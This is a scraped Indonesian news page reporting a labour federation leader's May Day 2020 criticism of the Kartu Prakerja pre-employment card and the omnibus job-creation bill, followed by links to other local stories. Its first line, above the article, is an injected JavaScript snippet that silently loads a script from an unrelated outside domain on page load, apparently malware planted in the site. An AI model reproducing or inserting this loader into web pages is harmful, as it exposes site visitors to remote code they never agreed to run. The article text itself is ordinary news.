(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Buruh Perempuan: Kartu Prakerja Bukan Solusi, Pelatihannya Ada di Youtube


KANALKALIMANTAN.COM, JAKARTA – Ketua Umum Federasi Buruh Lintas Pabrik (FBLP) Jumisih menilai bahwa kartu prakerja bukan solusi bagi permasalahan sosial ekonomi buruh yang di-PHK akibat pandemi corona virus disease 2019 (Covid-19).

Jumisih mengatakan bahwa kartu prakerja hanya menguntungkan para perusahaan-perusahaan platform digital yang ditunjuk pemerintah untuk menyediakan pelatihan bagi pemegang kartu prakerja.

“Kartu prakerja justru lebih banyak menjadi agen aliran dana untuk para perusahaan penyedia training yang sebetulnya training-training itu bisa didapat dari youtube,” kata Jumisih di Jakarta, Jum’at (1/5/2020).

Buruh saat ini, kata Jumisih, lebih membutuhkan kebutuhan jangka pendek untuk bertahan hidup di tengah situasi pandemi virus corona Covid-19 dan kepastian pekerjaan untuk jangka panjangnya setelah pandemi berakhir.

“Kartu Pra kerja bukan pengganti pesangon. Dan yang sebenarnya dibutuhkan rakyat adalah kebutuhan bertahan hidup dan asupan gizi yang memadai dalam situasi pandemi dan bagaimana setelah pandemi ada lapangan pekerjaan yang tersedia,” ucapnya.

Jumisih mengungkapkan hingga kini ada 73,29 persen buruh di Jabotabeka dan Jateng yang merasa mengalami kerentanan dalam pekerjaannya. Sementara distribusi sembako yang di distribusikan pemerintah malah tidak sampai ke tangan buruh dengan alasan administrasi. “Sungguh miris,” tegasnya.

Tak sampai di sana, buruh juga masih harus memikirkan nasib mereka terkait dengan omnibus law RUU Cipta Kerja yang hanya ditunda oleh pemerintah, bukan dibatalkan.

Dia menjelaskan omnibus law RRU Cipta Kerja akan mengancam keberlanjutan hidup buruh perempuan di masa depan, karena hak-hak buruh perempuan seperti cuti haid, cuti hamil melahirkan atau gugur kandungan akan sangat mungkin hilang karena tidak ada perlindungannya.

Oleh sebab itu, pada Hari Buruh atau May Day tahun ini, FBLP menuntut pemerintah menghentikan total pembahasan omnibus law, fokus atasi pandemi corona, stop PHK buruh khususnya buruh perempuan, penuhi hak-hak buruh perempuan, dan distribusikan sumber bahan pangan bagi seluruh rakyat dan buruh tanpa diskriminasi. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Akhir Pekan Pasti Hemat, Berikut Promo BRI hingga 30 Persen di 8 Kota Indonesia

KANALKALIMANTAN.COM – Bagi sebagian orang, akhir pekan (weekend) merupakan waktu yang dinanti. Sembari rehat bekerja,… Read More

2 jam ago

Diskusi Santai “Komunitas Gembel Banjarmasin” Bahas Kesejahteraan Buruh

KANALKALIMANTAN.COM, BANJARMASIN - Masih dalam momentum Hari Buruh 2024, Komunitas Gemar Belajar (Gembel) Banjarmasin menggelar… Read More

10 jam ago

Penyediaan Rumah ASN dan Tenaga Kontrak, Pemkab Kapuas Gandeng Pengembang Perumahan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat Bupati Kapuas Erlin Hardi melakukan penandatanganan MoU antara PT Mahakarya… Read More

11 jam ago

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

13 jam ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

14 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

15 jam ago

This website uses cookies.